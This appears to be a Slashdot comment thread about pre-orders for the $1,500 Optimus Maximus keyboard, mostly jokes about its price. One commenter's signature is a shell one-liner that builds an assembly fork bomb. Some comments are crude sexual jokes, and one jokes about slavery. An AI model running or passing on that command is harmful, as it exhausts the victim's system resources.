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Optimus Keyboard Pre-Orders In Mere Hours
godzillopiteco sends timely word that Art. Lebedev Studio is finally going to accept pre-orders for the Optimus Maximus Keyboard — in just under 11 hours at the time this story posts, according to the countdown timer on the site. (Late last year we were primed to pre-order in December 2006.) Read the project's blog for some recent developments.
Oh, I'm looking forward to it. I'm not too sure I'll ever own one at $1500, but if they pave the way then knockoffs should be available within another decade.
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oops... I take that back... sorry... didn't see the price tag... maybe later.
At that price, I'd expect to get the Optimus *Prime* keyboard, and it better transform into the leader of the Autobots, too!
Chris Mattern
Well, you can afford to buy http://www.artlebedev.com/everything/vilcus/ :)
and I'm sure chicks will dig it!
Too right, audiophiles and tuners... a market of suckers.
Oh, and I just bought my oxygen free gold dipped hand braided carbon fiber triple analog 186.2 bit digital monster extreme seat covers with pleather inlay...
they added 50hp and 20dB to my civic.
Then the rumors of it being bundled with Duke Nuke em Forever aren't true? Or are they taking preorders for Duke as well?
I'm so pleased about this advance warning, giving me a chance to cogitate on the early stages of beginning to anticipate the eventual opening moments of the new dawn of an opportunity to gear up for a period when, soon, there will be a new, imminent development foreshadowing the approaching onset of the start of my chance to, on a first-come, first-served basis, pre-order this thing.
Don't disappoint your bird dog. Go to the range.
"$1,564.37" hahahaha... "$1,564.37" hahahaha... "$1,564.37" hahahaha... sorry.. i'm using my 7 Euro keyb... "$1,564.37" hahahaha... "$1,564.37" hahahaha... i'm so sorry.. but.. "$1,564.37" hahahaha...
for "$1,564.37" i can buy all keyboards in all languages in this world and throw them away every day...
an "any key"???
I agree. At $100 I really wanted one, but at $1500 it is going to have to come with a happy ending for me to get one.
"Asleep at the switch? I wasn't asleep, I was drunk!" -- Homer
They're like the K-Mart of Transformers.
Try not to take me more seriously than I take myself.
I went to the website and have read through the Slashdot comments and still can't figure why this keyboard is supposed to be so great. Does it scratch your balls when you're typing an email? Does it protect from terrorism? Will it sing me a song so I can fall asleep at night? Or pour me a drink whenever I crave a martini?
First of all, tl;dr.
/. and we're your people. But, dude. Chillax. He didn't stab your mother.
Second, the cars you're defending are usually first gen Dodge Neons painted in "ass kicking" primer color and they don't go over 55 mph unless it's down hill with a STRONG wind behind them.
You did geek out a bit more than a Star Wars fan after hearing Vader called "Kirk" but that's ok, you're on
Not a Twitter sockpuppet... but I wish I was.
Agreed. I have an IBM Model M which features keys that can be removed and switched around to accommodate different keymaps. Once my roommates decided to remap my keyboard to say "FUCK" on the home row. It was weeks before they broke down and finally told me to look at the keyboard.
On the other hand, every APL programmer will buy one of these.
I don't care if it comes with a "summon the slave girls to come orally satisfy me" button -- if it ain't ergo, it ain't worth it
It doesn't, but you could program it to have one.
Slave girls not included. Slavery maybe illegal in your country
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is slashdot... grammar is just a speed bump to the submit button.